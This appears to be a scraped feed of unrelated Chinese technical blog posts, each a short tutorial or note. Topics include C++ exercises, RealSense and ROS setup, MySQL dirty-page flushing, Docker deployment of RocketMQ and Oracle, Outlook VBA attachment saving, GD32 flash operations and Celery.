2021-07-08给定一个字符,构造底边长5个字符,高3个字符的等腰字符三角形

“”里面拍个空格 //第一遍傻得把后面的空格也写了,其实不用。只要算上字符前面的空格就行了。 这是第1个的 #include <iostream> using namespace std; int main() { char n; cin>>n; cout<<" "<<" "<<n<<" "<<" "<<endl<<" "<<n<<n<<n<<" "<<endl<<n<<n<<n<<n<<n<<endl; return 0; } 这是第2个的 精简了 #include <iostream> using namespace std; int main() { char n; cin>>n; cout<<" "<<" "<<n<<endl<<" "<<n<<n<<n<<endl<<n<<n<<n<<n<<n<<endl; return 0; } 结果相同

inter realsener D435 ROS驱动安装(非源码编译)

1、安装公钥 sudo apt-key adv --keyserver keys.gnupg.net --recv-key F6E65AC044F831AC80A06380C8B3A55A6F3EFCDE || sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-key F6E65AC044F831AC80A06380C8B3A55A6F3EFCDE 2、安装源 sudo add-apt-repository "deb https://librealsense.intel.com/Debian/apt-repo $(lsb_release -cs) main" -u 3、安装驱动 sudo apt-get install librealsense2-dkms librealsense2-utils librealsense2-dev librealsense2-dbg 4、官方软件运行测试 realsense-viewer 5、ROS驱动下载 cd catkin_ws/src git clone https://github.com/IntelRealSense/realsense-ros.git cd .. sudo apt install ros-kinetic-ddynamic-reconfigure catkin_make source devel/setup.bash roslaunch realsense2_camera rs_camera.launch

计算机领域应用论文,GIS技术在计算机领域的应用_优秀论文

《GIS技术在计算机领域的应用_优秀论文》由会员分享,可在线阅读,更多相关《GIS技术在计算机领域的应用_优秀论文(8页珍藏版)》请在人人文库网上搜索。 1、GIS技术在计算机领域的应用摘要:地理学科的研究与GIS技术发展状况息息相关, 且受到多方面因素的制约。GIS技术有效推进地理学科的发展。然而, 我国的GIS相较于其他国家来说较为落后, 但其投入却远高于其他国家。我国极其重视对GIS技术的投资, 其也被社会广泛应用, 进而为多数领域作出巨大贡献。主要围绕GIS技术的发展以及其应用区域进行研究, 分析其在计算机基础上的发展趋势以及发展特点。关键词:计算机技术; GIS技术; 发展趋势;1 GIS技术概念以及应用领域1.1 概念GIS技术是地理信息技术的简要名称, 在早期, 其是由一位加拿大科学家发现并提出的;随着社会经济的不断发展, 经过加拿大。 2、科学家的潜心研究, 其发现GIS技术还可以应用在计算机技术中, 计算机处理技术通过GIS技术对大量土地数据进行整理、集合、归纳等程序, 因此, 世界上第一个研制出计算机技术中可应用GIS技术的国家为加拿大。在GIS技术被发现初期, 其基本内容还不够完整, 应用也并不广泛, 甚至存在着许多不足;例如, 无法正确进行数据分类、处理数据信息较慢等。随着现阶段信息时代的到来, 网络科学技术也在不断发展, GIS技术经深入研究后也渐趋完善。同时, GIS技术被世界各个国家广泛应用, 且其已然渗入到各个发展领域。1.2 GIS技术所应用的领域目前, GIS技术的应用区域主要有以下几个方面:林业、农业、生态。 3、环境建设以及土地资源管理。近几年, 为了生态资源的可持续发展, 世界上均以生态环境建设作为目标, 因此, GIS技术在以时代为背景下对其产生推进作用。1.2.1 农业GIS技术首要应用的领域即为农业领域1。GIS技术出现时, 我国首先利用其分析土地资源数据信息, 并对土地资源的使用方向进行规划, 进而形成区域化农业区;GIS技术在计算机技术的基础上应用完善了农业技术信息, 进而成为一个完善的信息系统, 使其成为管理农业资源的主要手段, 促进了农业经济飞速发展。1.2.2 林业GIS技术的发展阶段即为林业领域的应用, 要对林业区域进行规划, 首先要了解区域的具体情况, 运用大量的数据分析进行了解。 4、, 并对相关地理信息进行存储。利用GIS技术可将所有收集来的信息进行分析研究2, 进而使决策者按照具体分析结果作出正确的决策。1.2.3 自然灾害的预警世界上各个国家都对自然灾害有所惧怕, 因其发生毫无预知, 进而造成严重的自然损坏和人员伤亡。GIS技术的应用能有效对自然灾害进行预知, 其根据从自然环境收集来的数据进行分析研究, 进而发现自然灾害即将发生的大概位置, 使相关工作人员以及部门提前做好准备。当自然灾害发生后, GIS技术也能根据所收集的环境信息提出相应的恢复措施3, 进而降低灾害的损失率。1.2.4 土地资源的应用GIS技术在土地资源中的应用主要是对土地资源信息的收pGIS技术的主。 5、要作用是进行数据分析, 因此, 时而会出现分析大量数据的状况, 进而导致其内存空间狭小6, 产生数据分析错误的问题。若要使其正常运行, 则需要其自身具备较为广阔的存储位置, 以此为大量的数据分析奠定基础。比如要分析某一个区域的土地资源管理状况时, GIS技术首要做的就是将某区域的整个土地资源管理情况进行全面查看, 其次对该区域所涵盖的各个分区域的土地资源管理情况进行更细致的了解和调查, 最后一步是将所有收集到的属于该区域的土地资源管理情况进行整理分类, 且对所有数据均进行分析研究, 并同时得出有关于该区域土地资源管理的结论。因此, GIS技术分析数据时是将所有数据均进行分析处理, 进而需要较大。

element中input提交时提示input不能为空

最近根据需求完成表单提交按钮(方便自己以后使用) 只有代码 首先表单prop,ref 都要保持一致 <el-form :model="form" ref="formData" :rules="rules"> <el-form-item label="实际停电时长" :label-width="formLabelWidth" prop="powerCutTimeActual"> <el-input v-model="form.powerCutTimeActual" autocomplete="off" required="required"></el-input> </el-form-item> </el-form> <div slot="footer" class="dialog-footer"> el-button @click="dialogFormVisible = false">取 消</el-button> <el-button type="primary" @click="submitIsPower('formData')" :validate-event="false">确 定</el-button> </div>``` ```javascript form: { powerCutTimeActual: '' }, rules: { powerCutTimeActual: [ { required: true, message: '实际停电时长不能为空'}, ] }, 第三步 submitIsPower(formData) { this.$refs[formData].validate((valid) => { if (valid) { } }) },

算法——排序——快速排序图解动画

快速排序 简介代码示例排序过程时间复杂度最差时间复杂度最优时间复杂度 && 平均时间复杂度 空间复杂度稳定性 简介 快速排序是二分法排序。首先会选择一个基准元素,然后将基准值和元素内其他元素进行比较。数组一轮遍历后的结果为基准元素以外的元素分为[比基准值小]和[比基准值大]两个类别。整体数组为[比基准值小]基准元素[比基准值大]的结构。 然后再对两个[]中的元素进行排序,重复上述步骤,直到数组排序完成。 文章中使用的动画网站地址,限 pc: 排序算法动画 http://www.donghuasuanfa.com/sort 代码示例 伪代码来自维基百科 algorithm quicksort(A, lo, hi) is if lo < hi then p := partition(A, lo, hi) quicksort(A, lo, p) quicksort(A, p + 1, hi) algorithm partition(A, lo, hi) is pivot := A[ floor((hi + lo) / 2) ] i := lo - 1 j := hi + 1 loop forever do i := i + 1 while A[i] < pivot do j := j - 1 while A[j] > pivot if i ≥ j then return j swap A[i] with A[j] 排序过程 排序算法动画地址 http://www.

学习笔记-halcon-4

面阵工业相机选型和线阵工业相机选型 1 面阵工业相机1.1 像元深度1.2 快门1.3 芯片尺寸1.4 与图像采集卡搭配1.5 案例 2 线阵工业相机2.1 线阵相机特点2.2 线阵相机采集速度2.3 像元深度2.4 选型 1 面阵工业相机 1.1 像元深度 像元深度定义了灰度阶数。 1.2 快门 1.3 芯片尺寸 1.4 与图像采集卡搭配 1.5 案例 2 线阵工业相机 2.1 线阵相机特点 线阵相机使用的线扫描传感器通常只有一行感光单元(少数彩色线阵使用三行感光单元的传感器)线阵相机每次只采集一行图像;线阵相机每次只输出一行图像;与传统的面阵相机相比,面阵扫描每次采集若干行的图像并以帧方式输出。 2.2 线阵相机采集速度 线阵相机通常用行频为单位 KHz,如 12KHz 表示相机在 1 秒钟内最多能采集 12000 行图像数据 2.3 像元深度 2.4 选型 1.计算分辨率;幅宽除以最小检测精度得出每行需要的像素。 2.检测精度;幅宽除以像素得出实际检测精度。 3.扫描行数;每秒运动速度长度除以精度得出每秒扫描行数。 根据以上计算结果选择线阵相机 举例如下:如幅宽为 1600 毫米,精度 1 毫米,运动速度22000mm/s 相机; 分辨率:1600/1=1600 像素,加上宽放,所以最少 2000 像素;选定分辨率为2K; 实际检测精度:1600/2000=0.8 ; 扫描行数(行频):22000mm/0.8mm=27.5KHz 综合:应选定相机为 2048 像素 ,行频28kHz 相机。

学习笔记-halcon-2

工业相机 1 工业相机原理2 工业相机分类3 工业相机芯片4 工业相机分辨率5 工业相机像素6 工业相机扫描方式7 工业相机电子快门8 工业相机最低照度9 工业相机Binning10 工业相机增益11 工业相机结构接口12 工业相机通信接口 1 工业相机原理 工业相机的基本原理是将光信号转变为点信号,从而实现数字图像。 2 工业相机分类 3 工业相机芯片 4 工业相机分辨率 为了检测分辨率,会通过对等间隔排列的黑白相间的条纹进行成像,在监视器上能看到的最多线对可检测分辨率。 检测时,间隔从疏到密。 5 工业相机像素 6 工业相机扫描方式 7 工业相机电子快门 8 工业相机最低照度 9 工业相机Binning 10 工业相机增益 通过调节电压放大调节图像亮度 11 工业相机结构接口 12 工业相机通信接口

Outlook附件自动存储

思路&方案: Outlook规则功能检测是否有附件 + vba获取邮件中的附件并存储 1、开启数字证书(更安全!) 路径:C:\Program Files (x86)\Microsoft Office\root\Office16 输入自己的字符串,点击确定即可,最好记录下来。 2、到注册表开启,规则中的运行脚本功能。 路径:计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Security 创建一个DWORD(32位)值,命名为EnableUnsafeClientMailRules并设置值为1 。 3、回到Outlook开启宏相关的设置 调出开发工具 开启脚本能在邮件文件夹中运行 4、编写VBA脚本 Sub SaveAttachment(ByVal Item As Object, path$, Optional condition$ = "*") Dim olAtt As Attachment Dim i As Integer Set regEx = CreateObject("VBSCRIPT.REGEXP") With regEx .Global = True .Pattern = "[\\:&\/\*\?""\<\>\|]|[^A-Za-z0-9\u4e00-\u9fa5]" If Item.Attachments.Count > 0 Then Pfloder = path & .Replace(Item.Subject, "_") & "\" If Dir(Pfloder, vbDirectory) = "" Then MkDir Pfloder '若无文件夹则新建该文件夹 For Each att In Item.

guacamole SSH实现中文输入

问题根因 项目一开始移植的是guacamole官方的guacamole-common项目,在使用ssh访问资产时发现是无法进行中文输入的,原因是guacamole-common中无论是rdp还是ssh访问初始使用的都是击键🤺输入,按键盘调用的都是keyboard.onkeydown与keyboard.onkeyup方法,都只能一次传输一个按键,然后在远端模拟结果,因此在ssh访问中就无法使用本地的输入法进行中文输入。 解决方案 使用官方文档中提供的方法,将🤺输入改为数据流输入。 可将上述代码封装成一个方法,之后在JS中获取数据,再通过这个方法将数据传输给服务端。

第十二讲-讲为什么我的MySQL会“抖”一下

为什么我的MySQL会“抖”一下? 当内存数据页跟磁盘数据页内容不一致的时候,我们称这个内存页为“脏页”。内存数据写入到磁盘后,内存和磁盘上的数据页的内容就一致了,称为“干净页”。 抖动的时候应该是在刷脏页: 第一种场景是,粉板满了,记不下了。这时候如果再有人来赊账,掌柜就只得放下手里的活儿,将粉板上的记录擦掉一些,留出空位以便继续记账。当然在擦掉之前,他必须先将正确的账目记录到账本中才行。 这个场景,对应的就是InnoDB的redo log写满了。这时候系统会停止所有更新操作,把checkpoint往前推进,redo log留出空间可以继续写。我在第二讲画了一个redo log的示意图,这里我改成环形,便于大家理解。 第二种场景是,这一天生意太好,要记住的事情太多,掌柜发现自己快记不住了,赶紧找出账本把孔乙己这笔账先加进去。 这种场景,对应的就是系统内存不足。当需要新的内存页,而内存不够用的时候,就要淘汰一些数据页,空出内存给别的数据页使用。如果淘汰的是“脏页”,就要先将脏页写到磁盘。 你一定会说,这时候难道不能直接把内存淘汰掉,下次需要请求的时候,从磁盘读入数据页,然后拿redo log出来应用不就行了?这里其实是从性能考虑的。如果刷脏页一定会写盘,就保证了每个数据页有两种状态: 一种是内存里存在,内存里就肯定是正确的结果,直接返回; 另一种是内存里没有数据,就可以肯定数据文件上是正确的结果,读入内存后返回。 这样的效率最高。 第三种场景是,生意不忙的时候,或者打烊之后。这时候柜台没事,掌柜闲着也是闲着,不如更新账本。 这种场景,对应的就是MySQL认为系统“空闲”的时候。当然,MySQL“这家酒店”的生意好起来可是会很快就能把粉板记满的,所以“掌柜”要合理地安排时间,即使是“生意好”的时候,也要见缝插针地找时间,只要有机会就刷一点“脏页”。 第四种场景是,年底了咸亨酒店要关门几天,需要把账结清一下。这时候掌柜要把所有账都记到账本上,这样过完年重新开张的时候,就能就着账本明确账目情况了。 这种场景,对应的就是MySQL正常关闭的情况。这时候,MySQL会把内存的脏页都flush到磁盘上,这样下次MySQL启动的时候,就可以直接从磁盘上读数据,启动速度会很快。 作者提问:一个内存配置为128GB、innodb_io_capacity设置为20000的大规格实例,正常会建议你将redo log设置成4个1GB的文件。 但如果你在配置的时候不慎将redo log设置成了1个100M的文件,会发生什么情况呢?又为什么会出现这样的情况呢? 我觉得会出现频繁刷脏页的行为,磁盘io压力大。

win10系统增加虚拟内存的方法 windows10电脑虚拟内存怎么设置?教你设置一个合理的虚拟内存

虚拟内存可以让应用程序认为它拥有连续的可用的内存,缓解内存不足的压力。那么,在win10系统中如何增加虚拟内存呢?下面就让小编教大家win10系统增加虚拟内存的方法。 一、右键点击此电脑,选择“属性”。 二、在系统属性窗口左侧,点击“高级系统设置”。 三、在“高级”选项卡下,点击性能中的“设置”。 四、在“高级”选项中,点击“更改”。 五、把“自动管理所有驱动的分页文件大小”前面的勾去掉,然后点击自定义大小进行虚拟内存的设置。 注:初始大小和最大值同时设置为物理内存的1-2倍,比如2G设置为4096MB(2G内存是2倍),3G设置为4608MB(3G内存是1.5倍),4G内存先设置为4096MB(4G的1倍不够在加),6-8G内存或更大就选则自动管理即可。电脑内存可以右键计算机属性查看。 设置完成后点击设置和确定进行保存。 以上就是小编给大家带来的win10系统增加虚拟内存的方法。如果想为win10系统增加虚拟内存,可以使用以上方法进行设置。

nginx-1.12.0安装

nginx-1.12.0安装 安装Nginx 1:下载nginx1.12.0--------http://nginx.org/download/nginx-1.12.0.tar.gz 2:放在/etc下解压 改名为nginx 3:进入解压后的nginx文件夹下 4:./configure --user=root --group=root --prefix=/etc/nginx --with-http_stub_status_module --with-http_ssl_module --with-http_gzip_static_module (注意:安装前要有依赖关系:yum install gc gcc gcc-c++ pcre-devel zlib-devel openssl-devel) 5:编译:make 6:安装:make install 7:创建nginx命令软链接到环境变量: ln -s /etc/sbin/* /usr/local/sbin/ (这样就能用nginx命令了) 8: Nginx基础命令 1启动:在/etc/nginx/sbin下执行./nginx 2重启 nginx -s reload 3停止 nginx -s stop 9:如果安装启动报错:getpwnam(“www”) failed 解决办法:在nginx.conf中 把user nobody的注释去掉既可

css实现可关闭的文字无缝滚动banner

技术栈 react,效果如图 <div className="scroll"> <div className="marquee_box"> <div id="marquee_left"> <p>这里是滚动的内容内容内容内容内容内容内容内容内容内容内容内容内容。</p> </div> </div> <span className="close" onClick={()=>this.closeBanner()}>x</span> </div> .scroll{ width: 100%; background: #FFEAAE; height: 35px; line-height: 35px; color: #9C5629; padding: 0 30px 0 20px; position: relative; } .close{ display: block; position: absolute; width: 30px; text-align: center; right: 0; bottom: 0; } .marquee_box{ width: 100%; overflow: hidden; } #marquee_left{ width: 1000px; } #marquee_left>p{ display:inline-block; animation: infinite 10s left linear; } #marquee_left:hover p{ animation-play-state:paused; } @keyframes left{ from{transform: translateX(0);} to{transform: translateX(-100%);} } const marquee = document.

C语言之布尔类型

文章目录 布尔类型:boolean1. 基本介绍2. 应用案例 布尔类型:boolean 1. 基本介绍 C 语言标准(C89)没有定义布尔类型,所以 C 语言判断真假时以 0 为假,非 0 为真但这种做法不直观,所以我们可以借助 C 语言的宏定义 。C 语言标准(C99)提供了_Bool 型,_Bool 仍是整数类型,但与一般整型不同的是,_Bool 变量只能赋值为 0 或 1,非 0 的值都会被存储为 1,C99 还提供了一个头文件 <stdbool.h> 定义了 bool 代表_Bool,true 代表 1,false 代表 0。只要导入 stdbool.h ,就能方便的操作布尔类型了 , 比如 bool flag = false; 条件控制语句; if循环控制语句; while … 2. 应用案例 案例1: #include<stdio.h> void main(){ int isPass = -1; if(isPass){// 0表示假,非0表示真 printf("通过考试"); }else{ printf("没有通过考试"); } getchar(); } 案例2 #include<stdio.h> #define BOOL int #define TURE 1 #define FALSE 0 void main(){ //可以使用宏定义来完成 //定义一个布尔变量 BOOL isOK = TURE;//等价于 int isOK = 1 if(isOK){ printf("

规则引擎Drools使用 第三篇Drools规则引擎简单使用

在项目中使用drools时,即可以单独使用也可以整合spring使用。如果单独使用只需要导入如下maven坐标即可: <drools.version>7.5.0.Final</drools.version> <!--drools--> <dependency> <groupId>org.drools</groupId> <artifactId>drools-core</artifactId> <version>${drools.version}</version> </dependency> <dependency> <groupId>org.drools</groupId> <artifactId>drools-compiler</artifactId> <version>${drools.version}</version> </dependency> <!-- 决策表 --> <dependency> <groupId>org.drools</groupId> <artifactId>drools-decisiontables</artifactId> <version>${drools.version}</version> </dependency> <!-- 模板 --> <dependency> <groupId>org.drools</groupId> <artifactId>drools-templates</artifactId> <version>${drools.version}</version> </dependency> <dependency> <groupId>org.kie</groupId> <artifactId>kie-spring</artifactId> <version>${drools.version}</version> <exclusions> <exclusion> <groupId>org.springframework</groupId> <artifactId>spring-tx</artifactId> </exclusion> <exclusion> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> </exclusion> <exclusion> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> </exclusion> <exclusion> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> </exclusion> </exclusions> </dependency> drools第一个demo 1:创建一个drools配置文件 在resources目录下的META-INF下创建kmodule.xml文件 <?xml version="1.0" encoding="UTF-8" ?> <kmodule xmlns="http://www.drools.org/xsd/kmodule"> <!-- name:指定kbase的名称,可以任意,但是需要唯一 packages:指定规则文件的目录,需要根据实际情况填写,否则无法加载到规则文件 default:指定当前kbase是否为默认 --> <kbase name="myKbase1" packages="rule" default="

GD32的flash读、擦除、写操作

GD32的flash特征 1、在flash的前256K字节空间内,CPU执行指令零等待;在此范围外,CPU读取指令存在较长延时; 2、对于flash大于512KB(不包括等于512KB)的GD32F10x_CL和GD32F10x_XD,使用了两片闪存;前512KB容量在第一片闪存(bank0)中,后续的容量在第二片闪存(bank1)中; 3、对于flash容量小于等于512KB的GD32F10x_CL和GD32F10x_HD,只使用了bank0; 4、对 于 GD32F10x_MD , 闪 存 页 大 小 为 1KB 。 GD32F10x_CL 和 GD32F10x_HD ,GD32F10x_XD,bank0的闪存页大小为2KB,bank1的闪存页大小为4KB; 5、支持32位整字或16位半字编程,页擦除和整片擦除操作; GD32的flash结构 GD32F10x_MD GD32F10x_CL,GD32F10x_HD 和 GD32F10x_XD GD32的flash读操作 flash可以像普通存储空间一样直接寻址访问。 value=*(uint32_t*)FlashAddr; uint16_t IAP_ReadFlag(void) { return *(volatile uint16_t*)(FLASH_ADDR); } GD32的flash擦除操作 页擦除 每一页可以被独立擦除,步骤如下: 确保FMC_CTLx寄存器不处于锁定状态;检查FMC_STATx寄存器的BUSY位来判定闪存是否正处于擦写访问状态,若BUSY位为1,则需等待该操作结束,BUSY位变为0;置位FMC_CTLx寄存器的PER位;将待擦除页的绝对地址(0x08XX XXXX)写到FMC_ADDRx寄存器;通过将FMC_CTLx寄存器的START位置1来发送页擦除命令到FMC;等待擦除指令执行完毕,FMC_STATx寄存器的BUSY位清0;如果需要,使用DBUS读并验证该页是否擦除成功。 代码上直接调用GD的库函数即可: void fmc_erase_page(uint32_t Page_Address) { fmc_unlock(); //fmc解锁 /* clear all pending flags */ fmc_flag_clear(FMC_FLAG_BANK0_END); fmc_flag_clear(FMC_FLAG_BANK0_WPERR); fmc_flag_clear(FMC_FLAG_BANK0_PGERR); /* erase the flash pages */ fmc_page_erase(Page_Address); /* clear all pending flags */ fmc_flag_clear(FMC_FLAG_BANK0_END); fmc_flag_clear(FMC_FLAG_BANK0_WPERR); fmc_flag_clear(FMC_FLAG_BANK0_PGERR); fmc_lock(); //fmc上锁 } 要擦除连续的几页:

RocketMQ安装启动-Docker方式(一)

目录 1. Docker安装RocketMQ镜像1.1 搜索RocketMQ镜像1.2 下载rocketmq镜像1.3 下载Rocketmq控制台1.4 启动服务1.4.1 启动namesrv服务1.4.2 启动broker服务1.4.3 启动RocketMQ控制台 broker.conf配置文件信息 1. Docker安装RocketMQ镜像 1.1 搜索RocketMQ镜像 命令: docker search rocketmq 我们这里使用rocketmqinc/rocketmq镜像 1.2 下载rocketmq镜像 命令: docker pull rocketmqinc/rocketmq 下载版本为rocketmqinc/rocketmq:latest版本此镜像有server和broker,可直接使用 1.3 下载Rocketmq控制台 命令: docker pull styletang/rocketmq-console-ng 1.4 启动服务 RocketMQ有两个服务需要启动: namesrv和broker 1.4.1 启动namesrv服务 docker run -d -p 9876:9876 -v /opt/rocketmq/data/namesrv/logs:/root/logs \ -v /opt/rocketmq/data/namesrv/store:/root/store \ --name rmqnamesrv -e "MAX_POSSIBLE_HEAP=100000000" \ rocketmqinc/rocketmq:latest sh mqnamesrv -p 指定端口,前面为外部访问端口,后面为宿主机访问端口-v 挂载目录,将docker内目录和linux目录进行挂载–name 指定当前容器名称-e 指定配置sh mqnamesrv 启动容器内部指令 1.4.2 启动broker服务 获取配置文件 - 可先直接启动broker,然后将其中的配置文件复制出来

oracle-11g镜像部署

Snippet:2021/7/6 5:06 下午 致谢: oracle-11g镜像部署 问题概述:oracle-11g镜像部署方案细节 bash> docker pull alanpeng/oracledatabase-11g-r2-ee bash> mkdir -p /home/dir_containerFiles/c_o11g bash> docker run -it \ -p 15322:1521 \ -p 15323:5500 \ -p 15324:8080 \ --privileged \ -e ORACLE_ALLOW_REMOTE=true \ --name= c_o11g \ --entrypoint=/bin/bash \ -v /home/dir_containerFiles/c_o11g:/u01/app/oracle \ alanpeng/oracledatabase-11g-r2-ee bash> docker logs -f c_o11g bash> docker exec -it c_o11g /bin/bash bash> docker rm c_o11g txt> 容器保存为镜像 bash> docker commit -a "rede" -m "xxxxxxxx" 23653d2a193f oracle-11gr2:v1.0.0 txt> 导出容器 bash> docker save -o img_redeoracle11gr2.

WARNING: IPv4 forwarding is disabled. Networking will not work

今天使用docker,出现了如下报错 WARNING: IPv4 forwarding is disabled. Networking will not work 修改配置文件: vi /usr/lib/sysctl.d/00-system.conf 追加 net.ipv4.ip_forward=1 接着重启网络及docker systemctl restart network service docker restart

1057:简单计算器

1057:简单计算器 时间限制: 1000 ms 内存限制: 65536 KB 【题目描述】 一个最简单的计算器,支持+, -, *, / 四种运算。仅需考虑输入输出为整数的情况,数据和运算结果不会超过int表示的范围。然而: 如果出现除数为0的情况,则输出:Divided by zero! 如果出现无效的操作符(即不为 +, -, *, / 之一),则输出:Invalid operator! 【输入】 输入只有一行,共有三个参数,其中第1、2个参数为整数,第3个参数为操作符(+,-,*,/)。 【输出】 输出只有一行,一个整数,为运算结果。然而: 1.如果出现除数为0的情况,则输出:Divided by zero! 2.如果出现无效的操作符(即不为 +, -, *, / 之一),则输出:Invalid operator! 【输入样例】 1 2 + 【输出样例】 3 思路分析: 本题主要对输入符号的判断。 如果符号是加号'+',则输出x+y。 否则,如果符号的是减号'-',则输出x-y。 否则,如果符号是乘号'*',则输出x*y。 否则,如果符号是除号'/'和y=0,则输出"Divided by zero!"。 否则,如果符号是除号'/',则输出x/y。 否则,符号不正确,输出"Invalid operator!"。 数据类型:题目已保证输入和输出的皆是整数,所以可选择int类型。 易错点: 题目中提示输出Divided by zero!和Invalid operator!,但没有用双引号,给人误以为只输出英文,而不输出最后的感叹号。而且样例中也没有提示。而实际上,该感叹号也是要输出的。 求解过程: 声明2个int类型变量x和y。 声明1个char类型变量c。 输入2个整数和1个字符分别给变量x、y和c。 如果变量c等于加号'+',则输出x+y。 否则,如果变量c等于减号'-',则输出x-y。 否则,如果变量c等于乘号'*',则输出x*y。 否则,如果变量c等于除号'/'和y等于0,则输出"Divided by zero!

安装好vmware后界面默认英语如何修改成中文或者其他语言

CSDN里面已经有一些方案了,但是我试过以后发现有些没用,这里做一个简单的汇总。 1.首先的话,以改成中文为例,在进行其他操作以前,先将电脑的时区改成中国。方法如下: 运行–输入control–点开时钟与区域–更改时区为北京xxxx 如果想改成英语的话也得首先换成别的国家 2.VMware Workstation Pro的图标右键,修改快捷方式里的目标属性,在最后加上 [空格]–locale zh_CN(这里的“[空格]”是真的让你输入一个空格) 如下图所示: 点击应用即可。这种方法是有人成功的,但是我是不可行的。 按照论坛的说明,把zh_CN换成其他语言代码应该可以把界面改成以其他语言显示。不过,我查到资料,VMware Workstation的语言包放在了程序安装目录下的messages文件夹里,我的一打开只有jp和zh_CN两个文件夹,或许只有–locale jp和–locale zh_CN才有效,其他的无效。 上述方案试过以后都不可行,可以修复VM,因为有可能是在安装时更改路径导致的,我就是这种方法修复的。方案如下: 1、首先要通过Win+R打开msconfig, 关掉所有的VMWare 相关运行程序。 2、以管理员的身份运行命令编辑器,运行sc delete VMAuthdService指令把不需要的删除VMAuthdService 服务。 3、在控制面板->程序->程序和功能中找到VMWare workstation点击进行“修复”(记得千万不要卸载),即可。

Visual Studio Code 配置c++编译环境

原因 平时写c++大部分时间是在windows环境下,然后用Visual Studio调试和编译代码。但是由于会用到多种操作系统,有时候需要远程调试代码。远程调试用Teamviewer或者Microsoft Remote Desktop的话,还是不太方便。再加上也想学习一下g++编译器。相较于msvc,g++跨平台的特性更加实用。 配置 安装g++编译器(windows:MinGW,linux:sudo安装,macOS: brew安装)。必装的项目有g++,gcc,gdb,vscode安装C++扩展(C/C++)配置lanuch.json和tasks.json文件。以下是标准的launch.json文件和tasks.json文件 lanuch.json "configurations": [ { "name": "生成和调试活动文件", "type": "cppdbg", "request": "launch", "program": "${workspaceFolder}/${fileBasenameNoExtension}.exe", "args": [], "stopAtEntry": false, "cwd": "${workspaceFolder}", "environment": [], "externalConsole": true, "MIMode": "gdb", //调试模式 "miDebuggerPath": "D:\\MinGW\\bin\\gdb.exe", "preLaunchTask": "g++", "setupCommands": [ { "description": "为 gdb 启用整齐打印", "text": "-enable-pretty-printing", "ignoreFailures": false } ] } ] tasks.json { "version": "2.0.0", "tasks": [ { "type": "shell", "label": "g++", "command": "D:\\MinGW\\bin\\g++.exe", "args": [ "-g", "${file}", "

Visual Studio中Debug和Release的区别

问题1 问题描述 在搭建EMG信号处理系统时,我需要读取一个txt文件。在debug时能正常读取。在release版本下却不能获取其中的信息。后来发现问题在于我使用了assert语句。我的读取代码如下: void Config::gen_data_list() { QFile f(select_dataset_path); assert(f.open(QIODevice::ReadOnly | QIODevice::Text)); while (!f.atEnd()) { QString l = f.readLine(); qDebug() << l << endl; if (l.compare('\n') == 0) continue; else data_list.append(l.simplified()); } data_num = data_list.length(); trial_num = data_num * blk_num; } 解决办法 在release条件下,data_num始终是0。因为assert语句被忽略掉了,所以txt文件一直都没有被读取。将代码改成如下形式,release版本下也能正常读取了。 void Config::gen_data_list() { QFile f(select_dataset_path); bool isOpen = f.open(QIODevice::ReadOnly | QIODevice::Text); assert(isOpen); while (!f.atEnd()) { QString l = f.readLine(); qDebug() << l << endl; if (l.compare('\n') == 0) continue; else data_list.

发布带运行环境的Qt执行文件

在VS中生成release版本的exe文件后,文件会依赖于使用的lib以及dll文件等。这样换一个运行环境后,可能会无法运行当前的文件。例如基于Qt的exe文件,会依赖于Qt的lib和dll。Qt提供了此问题的解决办法。 解决方法 打开Qt提供的cmd窗口 cd到release版本的exe所在的位置 运行 windeployqt file_name.exe 当前文件夹下的文件就是对应exe文件所需的运行环境 上述操作生成的dll文件以及运行环境,能保证exe文件在没有安装qt环境的PC上运行。此方法只适用于windows系统(运行指令的意思就是win deploy qt的意思)。

html match函数,match函数的使用方法 match函数怎么使用

match函数也是excel软件内的一种,它的功能是在数组中查找/匹配数据在数组中的位置。那具体match函数怎么使用呢?下面我们就一起来看下match函数的使用方法。 match函数为: MATCH(lookup_value,lookup_array,match_type) 参数1:lookup_value:查找对象; 参数2:lookup_array:查找数组,即查找的指定区域 参数3:match_type:可为0,1,-1,默认为1。精度选0:查找等于指定内容的第一个值;精度选1:查找小于或等于指定内容的最大值,指定区域必须按升序排列;精度选-1,查找大于或等于指定内容的最小值,指定区域必须按降序排列 (1)选择【G2单元格】, 输入“=MATCH(162,D2:D14,0)”,回车确认,显示“3”。 公式解析:在“D2:D14”区域内查找等于“162”的数值为第几个, 按顺序找到D4单元格的数值为“162”,D4在“D2:D14”区域内排第3行,所以显示“3”。 (2)选择【G3单元格】, 输入“=MATCH(80,B2:B14,1)”,回车确认,显示“9”。 公式解析:在“B2:B14”区域内查找小于或等于“80”的数值为第几个, 按顺序找到B2:B10单元格的数值都小于或等于“80”,选择其中最大的数值,即B10的数值,B10在“B2:B14”区域内排第9,所以显示“9”。 (3)选择【G4单元格】, 输入MATCH函数=MATCH(90,C2:C14,-1),回车确认,显示“5”。 公式解析:在“C2:C14”区域内查找小于或等于“90”的数值为第几个,按顺序找到C2:C6单元格的数值都大于或等于“90”, 选择其中最小的数值,即C6的数值,C6在“C2:C14”区域内排第5,所以显示“5”。 上述就是match函数的使用方法了,小伙伴们可以好好的练习一下,又为自己增长了一门知识哟。 相关推荐:

django celery 使用

阻塞高风险 分布式任务调度系统 Celery 是一个简单,灵活且可靠的,处理大量消息的分布式系统,他是一个专注于实时处理的任务队列,同时也支持任务调度 broker 消息传输的中间件,生产者一旦有消息发送,将发送至broker (rq redis) backend 用于存储消息/任务结果,如果需要跟踪和查询任务状态,则需要添加相关配置 worker 工作者 消费/执行broker中消息/任务的进程 —》持续盯着broker中是否有活,会自动拿到任务 celery 实时反馈不行 无法确定消费者干活的时间 #使用 创建worker from celery import Celery app = Celery(‘name’,broker=‘redis://:password@127.0.0.1:6379/1'). 没密码:Redis://:@127.0.0.1:6379/1 #创建任务函数 #@app.task 加了装饰器才能是任务函数 def task_test(): print(‘xxx’) # 具体任务 启动worker ubuntu 终端中,task.py文件同级目录下执行 celery -A tasks worker —loglevel=info #此模式默认前台启动,终端会输出相关日志 使用 创建生产者-推送任务 在task.py文件的同级目录进入ipython3执行如下 from tasks import task_test task_test.delay() 执行完毕后,观察worker的日志 使用 存储执行结果 -worker celery 提供存储任务执行结果的方案,需借助redis或者mysql或者memcached等 From celery import Celery app = Celery(‘demo’, 